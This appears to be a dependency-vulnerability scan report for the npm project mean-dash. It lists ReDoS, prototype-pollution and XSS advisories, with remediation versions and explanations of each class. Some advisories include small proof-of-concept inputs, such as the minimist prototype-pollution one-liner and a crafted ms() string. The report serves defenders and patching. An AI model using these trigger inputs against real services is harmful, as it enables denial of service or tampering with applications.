- Introduced through: webpack-dev-server@1.16.5, karma@0.13.5 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › http-proxy-middleware@0.17.4 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to webpack-dev-server@2.11.4.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to karma@2.0.3.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to webpack-stream@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › expand-braces@0.1.2 › braces@0.1.5
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces to version 2.3.1 or higher.
References
low severity
partially patched
- Vulnerable module: debug
- Introduced through: karma@0.13.5 and mocha@3.5.3
Vulnerability patched for: karma socket.io debug
Vulnerability patched for: mocha debug
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › debug@1.0.3Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-adapter@0.3.1 › debug@1.0.2Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › debug@1.0.4Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › debug@2.1.0Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3 › debug@2.6.8Remediation: Upgrade to mocha@4.0.0.
Overview
debug is a small debugging utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument.
The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.
Note: CVE-2017-20165 is a duplicate of this vulnerability.
PoC
Use the following regex in the %o formatter.
/\s*\n\s*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.
References
low severity
- Vulnerable module: mime
- Introduced through: url-loader@0.5.9
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › url-loader@0.5.9 › mime@1.3.6Remediation: Upgrade to url-loader@0.6.0.
Overview
mime is a comprehensive, compact MIME type module.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/ in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mime to version 1.4.1, 2.0.3 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: coveralls@2.13.3, http-server@0.9.0 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › minimist@1.2.0Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › http-server@0.9.0 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › ng-annotate-loader@0.1.1 › ng-annotate@1.2.1 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3 › mkdirp@0.5.1 › minimist@0.0.8Remediation: Upgrade to mocha@6.2.3.
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: ms
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › debug@2.1.0 › ms@0.6.2Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › debug@1.0.3 › ms@0.6.2Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-adapter@0.3.1 › debug@1.0.2 › ms@0.6.2Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › debug@1.0.4 › ms@0.6.2Remediation: Upgrade to karma@2.0.0.
Overview
ms is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms to version 2.0.0 or higher.
References
low severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When stripping the trailing slash from files arguments, the f.replace(/\/+$/, '') performance of this function can exponentially degrade when f contains many / characters resulting in ReDoS.
This vulnerability is not likely to be exploitable as it requires that the untrusted input is being passed into the tar.extract() or tar.list() array of entries to parse/extract, which would be unusual.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade tar to version 6.1.4, 5.0.8, 4.4.16 or higher.
References
low severity
- Vulnerable module: send
- Introduced through: browser-sync@2.29.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › send@0.16.2Remediation: Upgrade to browser-sync@3.0.3.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › serve-static@1.13.2 › send@0.16.2Remediation: Upgrade to browser-sync@3.0.3.
Overview
send is a Better streaming static file server with Range and conditional-GET support
Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect() function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.
Note:
Exploiting this vulnerability requires the following:
The attacker needs to control the input to
response.redirect()Express MUST NOT redirect before the template appears
The browser MUST NOT complete redirection before
The user MUST click on the link in the template
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade send to version 0.19.0, 1.1.0 or higher.
References
low severity
- Vulnerable module: serve-static
- Introduced through: browser-sync@2.29.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › serve-static@1.13.2Remediation: Upgrade to browser-sync@3.0.3.
Overview
serve-static is a server.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect function. An attacker can manipulate the redirection process by injecting malicious code into the input.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
